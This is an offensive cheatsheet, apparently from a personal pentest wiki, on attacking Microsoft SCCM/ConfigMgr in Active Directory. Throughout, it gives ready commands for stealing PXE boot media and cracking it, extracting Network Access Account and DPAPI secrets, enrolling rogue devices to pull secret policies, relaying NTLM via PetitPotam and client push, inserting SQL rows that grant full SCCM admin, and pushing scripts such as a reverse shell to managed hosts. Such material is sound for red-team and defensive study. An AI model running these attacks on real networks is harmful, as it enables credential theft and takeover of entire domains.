System Center Configuration Manager

This cheatsheet is built from numerous papers, GitHub repos and GitBook, blogs, HTB boxes and labs, and other resources found on the web or through my experience. This was originally a private page that I made public, so it is possible that I have copy/paste some parts from other places and I forgot to credit or modify. If it the case, you can contact me on my Twitter **@BlWasp_**.

I will try to put as many links as possible at the end of the page to direct to more complete resources.

System Center Configuration Manager (SCCM), renamed **Microsoft Endpoint Configuration Manager** (MECM) and, more recently, **Microsoft Configuration Manager** (ConfigMgr), is a software developed by Microsoft to help system administrators manage the servers and workstations in large Active Directory environments.

PXE initial access

A PXE boot server can be embedded in the SCCM infrastructure. However, identifying a PXE server on the network does not necessarily imply the presence of an SCCM infrastructure, and the presence of SCCM doesn't indicate that a PXE boot is present.

PXEThief works on Windows and Linux:

```
# Identify a PXE server over the network with DHCP request
python3.10.exe .\pxethief.py 1

# Indicate the Distribution Point IP to veriy if there is any PXE on it
python3.10.exe .\pxethief.py 2 <DP_IP>
```

If the media is encrypted, request it like this:

```
tftp -i <DP_IP> GET "\SMSTemp\<XXX>.boot.var" "<XXX>.boot.var"
```

Then, compute the hash and crack it with hashcat's dedicated module:

```
```

```
python3.10.exe .\pxethief.py 5 '<XXX>.boot.var'
```

```
cd hashcat_pxe/
git clone https://github.com/hashcat/hashcat.git
git clone https://github.com/MWR-CyberSec/configmgr-cryptderivekey-hashcat-module
cp configmgr-cryptderivekey-hashcat-module/module_code/module_19850.c hashcat/src/modules/
cp configmgr-cryptderivekey-hashcat-module/opencl_code/m19850* hashcat/OpenCL/
cd hashcat
# change to 6.2.5
git checkout -b v6.2.5 tags/v6.2.5
make

cd ..
hashcat/hashcat -m 19850 --force -a 0 hash.txt /usr/share/wordlists/rockyou.txtou.txt
```

Finally request the media, decrypt it with the password and retrieve sensitive information inside:

```
python3.10.exe .\pxethief.py 3 'XXX.boot.var' "Password123!"
```

Or alternatively, **PowerPXE** is a PowerShell script that extracts interesting data from insecure PXE boot.

```
Import-Module PowerPxe
Get-PXEcreds -InterfaceAlias Ethernet
```

Recon

Techniques to identify SCCM servers and related objects in an Active Directory.

Windows

```
#With PowerShell
([ADSISearcher]("objectClass=mSSMSManagementPoint")).FindAll() | % {$_.Properties}

#With SharpSCCM
./SharpSCCM.exe local site-info
```

```
./SharpSCCM.exe local client-info
```

Linux

```
#Find the assets in the LDAP configuration
python3 sccmhunter.py find -u user1 -p password -d domain.local -dc-ip <DC_IP>

#Retrieve informations regarding the identified servers (SMB signing, site code, server type, etc)
#And save PXE variables
python3 sccmhunter.py smb -u user1 -p password -d domain.local -dc-ip <DC_IP> -save

#Show results from the previous commands
python3 sccmhunter.py show -smb
python3 sccmhunter.py show -user
python3 sccmhunter.py show -computers
python3 sccmhunter.py show -all

#With NetExec
nxc ldap <DC_IP> -u user1 -p password -M sccm
    #Via WinReg
nxc ldap <target> -u user1 -p password -M sccm-recon6
```

Another solution is to search for WDS servers, in order to find potential SCCM servers or MDT shares.

```
./WDSFinder --username user1 --password password --ip <DC_IP> --domain domain.local
```

Credentials harvesting

Client Push Accounts

With a compromised machine in an Active Directory where SCCM is deployed via **Client Push Accounts** (the default configuration) on the assets, it is possible to retrieve the Net-NTLM hash of the Client Push Account, which generally has Administrator privileges on lots of assets. Full explains here. To do it:

- Remove all the local Administrators on the compromised machine : `net user <username> /delete`
- Listen with Inveigh : `Invoke-Inveigh -Challenge 1122334455667788 -ConsoleOutput Y -LLMNR Y -NBNS Y -mDNS Y -HTTPS Y -Proxy Y`
- Wait for the Client Push Accounts that will attempt to authenticate automatically
- Hope for Net-NTLMv1, relay possibility or whatever

With SharpSCCM it is possible to accelerate the process by coercing a Client Push Accounts authentication.

```
#If admin access over Management Point (useful to clean the MP cache with the attacker machine)
./SharpSCCM.exe invoke client-push -t <attacker_IP> --as-admin

#If not MP admin (need to conctact an administrator to clean the cache)
./SharpSCCM.exe invoke client-push -t <attacker_IP>
```

Local SCCM credentials extraction

Multiple secrets and credentials can be extracted on a machine enrolled in SCCM. For example, it is possible to retrieve the **Network Access Accounts (NAA)** in the NAA policy which it's sent by the SCCM server and stored on the SCCM client disk encrypted with DPAPI, and the **TaskSequence** and **Device Collection** variables, also encrypted by DPAPI.

Windows

With SYSTEM access on the client, the credentials can be retrieved via WMI with PowerShell:

```
#Network Access Accounts (NAA)
Get-WmiObject -Namespace ROOT\ccm\policy\Machine\ActualConfig -Class CCM_NetworkAccessAccount

#TaskSequence variables
Get-WmiObject -Namespace ROOT\ccm\policy\Machine\ActualConfig -Class CCM_TaskSequence

#Device Collection variables
Get-WmiObject -Namespace ROOT\ccm\policy\Machine\ActualConfig -Class CCM_CollectionVariable
```

All this secrets can be extracted with SharpSCCM or SharpDPAPI aswell:

```
./SharpDPAPI.exe SCCM

#Via CIM store on disk or WMI
./SharpSCCM.exe local secrets disk
./SharpSCCM.exe local secrets wmi
```

NAA can also be extracted with Mimikatz:

```
./mimikatz.exe
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # dpapi::sccm
```

Ultimately, **NAA** and **TaskSequence** can be retrieved remotely:

```
./SharpSCCM.exe get secrets
```

Linux

Sccmhunter permits to extract everything in one command.

```
python3 sccmhunter.py dpapi -u user1 -p password -d domain.local -dc-ip <DC_IP> -target
<target_IP> -wmi

# Or with SystemDPAPIdump
SystemDPAPIdump.py -creds -sccm 'domain.local/user1:password'@'target.domain.local'
```

SCCM secrets policies request

Full explains about these attacks are here.

Theory

To quickly summarize, SCCM permits to new computers to self-enroll **without authentication** in the SCCM environment via the Management Point, and, by default, the enrolment must be approved by an administrator. However, still by default, it is possible to approve an enrolment with a domain machine account.

This newly approved device can request the SCCM secret policies linked the collections where it has been added (by default, **All systems** or **All Desktop and Server clients**). These policies include the NAA credentials, the Task Sequence variables, and the Collection variables. They also indicate resources to download from the Distribution Point.

Sysadmins have the possibility to allow self-enrolment **with automatic device approval**. In this configuration, no machine credentials are needed since the new device will be automatically approved and able to obtain secret policies.

Exploitation

So, an attacker with a valid domain machine account can enroll a new device and use it to retrieve the secret policies.

SCCMSecrets permits to retrieve the three kinds of secrets.

```
addcomputer.py -computer-name 'EVIL$' -computer-pass 'ComputerPass123' -dc-ip <DC_IP>
'domain.local/user1':'password'
python3 sccmhunter.py http -u "user1" -p password -dc-ip <DC_IP> -cp ComputerPass123 -cn
'EVIL$'

# Or with SCCMSecrets
python3 SCCMSecrets.py policies --management-point 'managementPoint.domain.local' --client-
name fake.domain.local --verbose --registration-sleep 300 --username 'machine$' --password
'password'

# With self-enrolment
python3 SCCMSecrets.py policies --management-point 'managementPoint.domain.local' --client-
name fake.domain.local --verbose
```

In case of the SCCM configuration is enforced with HTTPS, the client authentication certificate of the authenticating computer must be added.

```
python3 SCCMSecrets.py policies --management-point 'https://managementPoint.domain.local' --client-name fake.domain.local --pki-cert ./cert.pem --pki-key ./key.pem --username 'machine$' --password 'password'
```

Exploitation can also be performed via a NTLM relay by relaying a device authentication:

```
ntlmrelayx.py -t 'http://managementPoint.domain.local/ccm_system_windowsauth/request' -smb2support --sccm-policies -debug
```

Policies pivoting

Policies are linked to the device collections a device is member of. When a new device is compromised, it can be used to request the policies it can access and potentially find new credentials.

To request SCCM policies with an already enrolled device, its GUID (to identify it) and its private key (to sign the requests) are needed.

- The GUID can be found in different log files, like `C:/Windows/CCM/Logs/ClientIDManagerStartup.log` on the machine
- The private key can be extracted from the LSASS memory by previously patching the CNG with Mimikatz, or by dumping it from the SYSTEM DPAPI

Then, the requests can be performed like this. The folder `CLIENT_DEVICE` must contain two files: `guid.txt` where the GUID is written, and `key.pem` containing the private key:

```
python3 SCCMSecrets.py policies -mp 'managementPoint.domain.local' --verbose --use-existing-device CLIENT_DEVICE/
```

Steals SCCM secret policies via NTLM relay

Setup a NTLM relay to the site database, and coerce the primary site server:

```
ntlmrelayx.py -ts -t mssql://siteDatabase.domain.local -socks -smb2support
python3 PetitPotam.py -u user1 -p password -d domain.local <attacker_IP> SCCM-Server.domain.local
```

Then, retrieve the GUID of the object "Unknown Computer x64" in the database:

```
SELECT * FROM dbo.UnknownSystem_DISC
```

Or with a request to the HTTP endpoint on the SMS Provider :
`/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA`

Once the GUID has been retrieved, the policies assigned to it can be retrieved from the MSSQL database via the stored procedure `MP_GetMachinePolicyAssignments`.

```
proxychains mssqlclient.py domain.local/SCCM-Server$@siteDatabase.domain.local -windows-auth -db <CM_ID> -command "EXEC MP_GetMachinePolicyAssignments N'$GUID', N''" | tee assignments.txt
```

The result in hexadecimal format must be decoded, then search for `NAAConfig`, `TaskSequence`, and `CollectionSettings`. For each entry, retrieve the `PolicyID` and `PolicyVersion`.

Using these values, you can retrieve the policy content via the `MP_GetPolicyBody` procedure. This operation must be repeated for each policy:

```
proxychains mssqlclient.py domain.local/SCCM-Server$@siteDatabase.domain.local -windows-auth -db <CM_ID> -command "exec MP_GetPolicyBody N'{<POLICY_ID>}', N'<POLICY_VERSION>'" | tee NAAConfig.txt
```

Finally, the hex blobs obtained can be decoded, and the `CDATA` parts decrypted with PXEThief:

```
echo - -n '3c003f0078006d00<SNIPPED>006f006c006900630079003e000d000a00' | xxd -r -p

python3 pxethief.py 7 <CDATA_BLOB>
```

SCCM content library

Full explains about these attacks are here.

Theory

This service hosts the ressources to provide to the SCCM clients (scripts, applications, OS, etc). Everything is hosted in a share named `C:\SCCMContentLib` and can be retrieved either via SMB in an authenticated way, or via HTTP with a specific URL, also with authentication.

However, it appears that sysadmins can configure the **HTTP way to allow unauthenticated access**. In this case, anonyone can download all the packages and search for sensitive data inside.

Exploitation

SCCMSecrets.py permits to download all the packages from the Distribution Point through HTTP:

```
python3 SCCMSecrets.py files --distribution-point 'distributionPoint.domain.local' --verbose
--username 'user1' --password 'password'
```

If the Distribution Point allows unauthenticated requests on its HTTP service, packages can be downloaded without specifying credentials.

Or through a NTLM relay to the HTTP endpoint:

```
ntlmrelayx.py -t 'http://distributionPoint.domain.local/sms_dp_smspkg$/Datalib' -smb2support
--sccm-dp -debug
```

Cmloot.py is useful for SMB extraction:

```
python3 cmloot.py domain/user1@ -findsccmservers -target-file sccmhosts.txt -cmlootdownload
sccmfiles.txt
```

Note that, this part is independent from secret policies request: it is possible to retrieve the packages even if no device enrolment has been performed.

SCCM primary site takeover

The primary site server's computer account is member of the local Administrators group on the site database server and on every site server hosting the "SMS Provider" role in the hierarchy. This means it is possible to coerce the primary site server authentication and relay it to the database server and obtain an administrative access. Some requirements must be reached to exploit this scenario. Full explains here and here.

Relay to the site database server

Windows

```
```

```
# Retrieve the controlled user SID in HEX format
.\SharpSCCM.exe get user-sid

# Setup a NTLM relay server to MSSQL or SMB
    # targetting MS-SQL
ntlmrelayx.py -t "mssql://siteDatabase.domain.local" -smb2support -socks
    # targeting SMB
ntlmrelayx.py -t "smb://siteDatabase.domain.local" -smb2support -socks

# Coerce the primary site server authentication via Client Push Installation
.\SharpSCCM.exe invoke client-push -mp "SCCM-Server" -sc "<site_code>" -t
"attacker.domain.local"
```

With a MSSQL socks open, an `mssqlclient` session can be obtained:

```
proxychains mssqlclient.py "DOMAIN/SCCM-Server$"@"siteDatabase.domain.local" -windows-auth
```

And the following SQL query can be executed to grant full privileges to the controlled user on the SCCM primary site:

```
--Switch to site database
use CM_<site_code>

--Add the SID, the name of the current user, and the site code to the RBAC_Admins table
INSERT INTO RBAC_Admins
(AdminSID,LogonName,IsGroup,IsDeleted,CreatedBy,CreatedDate,ModifiedBy,ModifiedDate,SourceSite)
VALUES (<SID_in_hex_format>,'DOMAIN\user',0,0,'','','','','<site_code>');

--Retrieve the AdminID of the added user
SELECT AdminID,LogonName FROM RBAC_Admins;

--Add records to the RBAC_ExtendedPermissions table granting the AdminID the Full
Administrator (SMS0001R) RoleID for the “All Objects” scope (SMS00ALL),
--the “All Systems” scope (SMS00001),
--and the “All Users and User Groups” scope (SMS00004)
INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES
(<AdminID>,'SMS0001R','SMS00ALL','29');
INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES
(<AdminID>,'SMS0001R','SMS00001','1');
INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES
```

```
(<AdminID>,'SMS0001R','SMS00004','1');
```

Linux

```
# Print the stacked MSSQL queries for the user SID to escalate
python3 sccmhunter.py mssql -u user1 -p password -d domain.local -dc-ip <DC_IP> -tu user2 -sc
<site_code> -stacked

# Run ntlmrelayx.py with the stacked query to execute
ntlmrelayx.py -t "mssql://siteDatabase.domain.local" -smb2support -q <query>

# Or targeting SMB
ntlmrelayx.py -t "smb://siteDatabase.domain.local" -smb2support -socks
```

Post exploitation via SCCM can now be performed on the network.

Relay to the SMS Provider server

If the HTTP API is accessible on the SMS Provider server, setup `ntlmrelayx` with this PR to add user1 as a new SCCM admin:

```
ntlmrelayx.py -t https://smsprovider.domain.local/AdminService/wmi/SMS_Admin -smb2support --
adminservice --logonname "DOMAIN\user1" --displayname "DOMAIN\user1" --objectsid <user1_SID>
```

And coerce the primary site server via client push, PetitPotam, PrinterBug ou whatever.

Relay from a passive to the active site server

When high availability in required, it is possible to find a passive site server that will be used only if the active site server stop working. Its machine account **must** be a member of the local Administrators group on the active site server.

Setup a NTLM relay pointing to the active server and coerce an authentication from the passive server.

```
ntlmrelayx.py -t activeServer.domain.local -smb2support -socks
```

Then, through the proxy socks session, dump the SAM and LSA with `secretsdump.py`. The active site server must be a member of the SMS Provider administrators (it is member of the `SMS Admins` group), its credentials can be used to add a new controlled user to the `Full Admin` SCCM group.

```
python3 sccmhunter.py admin -u activeServer$ -p :<nthash> -ip <SMS_Provider>

() (C:\) >> add_admin controlledUser <controlledUser_SID>
() (C:\) >> show_admins
```

Post exploitation

CMPivot Service Abuse

The **CMPivot** service, presents on the MP server, permits to enumerate all the resources (installed softwares, local administrators, hardware specification, and so on) of a computer, or a computer collection, and perform administrative tasks on them. It uses the HTTP REST API named **AdminService** provided by the SMS Provider server.

With SCCM administrative rights, it is possible to directly interact with the **AdminService** API, without using CMPivot, for post SCCM exploitation enumeration.

Windows

```
#Retrieve the ID of the ressource to enumerate
.\SharpSCCM.exe get resource-id -d "COMPUTER"

#Enumerate the local administrators
.\SharpSCCM.exe invoke admin-service -r <resource_ID> -q "Administrators" -j

#Enumerate the installed softwares
.\SharpSCCM.exe invoke admin-service -r <resource_ID> -q "InstalledSoftware" -j
```

Linux

```
# Authenticate to the AdminService API
python3 sccmhunter.py admin -u user1 -p password -ip <SMS_IP>
```

```
# Retrieve information about a target device and interact with it
() C:\ >> get_device target
() (C:\) >> interact <target_ID>

# Then, enumerate resources with built-in requests
(<target_ID>) (C:\) >> ls
(<target_ID>) (C:\) >> administrators
(<target_ID>) (C:\) >> help
...
```

Applications and scripts deployment

Windows

With sufficient rights on the central SCCM server (rights on WMI), it is possible to deploy applications or scripts on the AD computers (SYSTEM on the server basically, to have rights on WMI) with **SharpSCCM** or **PowerSCCM**:

- With SharpSCCM

```
#Retrieve computers linked to the SCCM server
./SharpSCCM.exe get devices -w "Active=1 and Client=1"

#Execute a binary on a target device
./SharpSCCM.exe exec -d <target_device> -p bin.exe

#Execute a PS command on a target device
./SharpSCCM.exe exec -d <target_device> -p "powershell <ps_cmd>"

#Coerce a NTLM authentication from a domain user
#The user is the primary user of the device
#With no user specified, the NTLM authentication will come from the logged on user
#Add --run-as-system to obtain the computer account authentication instead
./SharpSCCM.exe exec -u DOMAIN\user1 -r <attacker_IP>
```

- With PowerSCCM

```
#Create SCCM Session with WMI
Find-SccmSiteCode -ComputerName <SCCM_computer>
```

```
New-SccmSession -ComputerName <SCCM_computer> -SiteCode <site_code> -ConnectionType WMI

#Retrieve computers linked to the SCCM server
Get-SccmSession | Get-SccmComputer

#Create a computer collection
Get-SccmSession | New-SccmCollection -CollectionName "col" -CollectionType "Device"

#Add computer to the collection
Get-SccmSession | Add-SccmDeviceToCollection -ComputerNameToAdd "<computer>" -CollectionName
"col"

#Create an app to deploy
Get-SccmSession | New-SccmApplication -ApplicationName "<application_name>" -PowerShellB64
"<powershell_script_in_B64>"

#Create an app deployment with the app and the collection previously created
Get-SccmSession | New-SccmApplicationDeployment -ApplicationName "<application_name>" -
AssignmentName "assig" -CollectionName "col"

#Force the machine in the collection to check the app update (and force the install)
Get-SccmSession | Invoke-SCCMDeviceCheckin -CollectionName "col"
```

If application deployement doesn't work, it is worth to test CMScript deployement (deploy a script instead of an app). **PowerSCCM** also permits to do it with this PR :

```
New-CMScriptDeployement -CMDrive '<new_drive_name>' -ServerFQDN '<SCCM_server_FQDN>' -
TargetDevice '<target_FQDN>' -Path '.\reverse.ps1' -ScriptName 'EvilScript'
```

Linux

With sufficient rights over the `AdminService` API it is possible to create an approval administrator and deploy scripts.

```
# Open a session over the AdminService API
python3 sccmhunter.py admin -u user1 -p password -ip <SMS_IP>
# Promote as admin a controlled account
() C:\ >> add_admin user2 <account_SID>
```

```
# Reauthenticate and specify the new admin as an approval admin
python3 sccmhunter.py admin -u user1 -p password -ip <SMS_IP> -au user2 -ap password2
# Select a target via it's SCCM ID and deploy a PowerShell script on it
() C:\ >> get_device TARGET
() C:\ >> interact <target_ID>
(<target_ID>) (C:\) >> script /home/user1/add_local_admin.ps1
```

Credentials extraction from MDT Shares

Credentials extraction from MDT Shares is presented in great details here.

The server hosting the MDT shares should run the WDS service. This one can be identified in the LDAP directory with this (available on Linux and Windows):

```
./WDSFinder --username user1 --password password --ip DC_IP
```

Additionally, tThe MDT Shares presence on the network can be identified with the following registry key on any enrolled computer : `HKLM\Software\Microsoft\Deployment 4\` (it will not indicate where the share lies, but only that a MDT Share is present).

If the MDT Share allows read access with owned users, it can provide many sensitive credentials, used during application and system deployments. Files where credentials can be found :

- **Bootstrap.ini** - Located in `DeploymentShare\Control\Bootstrap.ini`
- **CustomSettings.ini** - Located in `DeploymentShare\Control\CustomSettings.ini`

Name	What is it for?
DomainAdmin	Account used to join the computer to the domain
DomainAdminPassword	Password used to join the computer to the domain
UserID	Account used for accessing network resources
UserPassword	Password used for accessing network resources
AdminPassword	The local administrator account on the computer
ADDSUserName (never seen this used)	Account used when promoting to DC during deployment
ADDSPassword (never seen this used)	Password used when promoting to DC during deployment

Name	What is it for?
Password	Password to use for promoting member server to adomain controller
SafeModeAdminPassword (never seen this used)	Used when deploying DCs, it is the AD restore mode password
TPMOwnerPassword	The TPM password if not set already
DBID	Account used to connect to SQL server during deployment
DBPwd	Password used to connect to SQL server during deployment
OSDBitLockerRecoveryPassword	BitLocker recovery password

- TaskSequences (with possible credentials) are stored in `DeploymentShare\Control\<TASKSEQUENCE_NAME>\ts.xml`
- The `unattend.xml` file can be in `DeploymentShare\Control\<TASKSEQUENCE_NAME>\unattend.xml`
- Custom scripts and applications are generally (but not mandatory) in `DeploymentShare\Scripts` and `DeploymentShare\Applications`

References

- Misconfiguration Manager
- SCCM / MECM - The Hacker Recipes
- Active Directory Spotlight: Attacking The Microsoft Configuration Manager (SCCM/MECM) - C. Sandker
- Push Comes To Shove: exploring the attack surface of SCCM Client Push Accounts - Trimarc
- Offensive Operations with PowerSCCM - enigma0x3
- Exploring SCCM by Unobfuscating Network Access Accounts - Adam Chester
- SpecterOps
- SCCMSecrets.py: exploiting SCCM policies distribution for credentials harvesting, initial access and lateral movement - Synacktiv
- TrustedSec's blog
- NetExec wiki

Revision #7
Created 4 June 2024 09:05:07 by BlackWasp
Updated 28 October 2025 16:21:23 by BlackWasp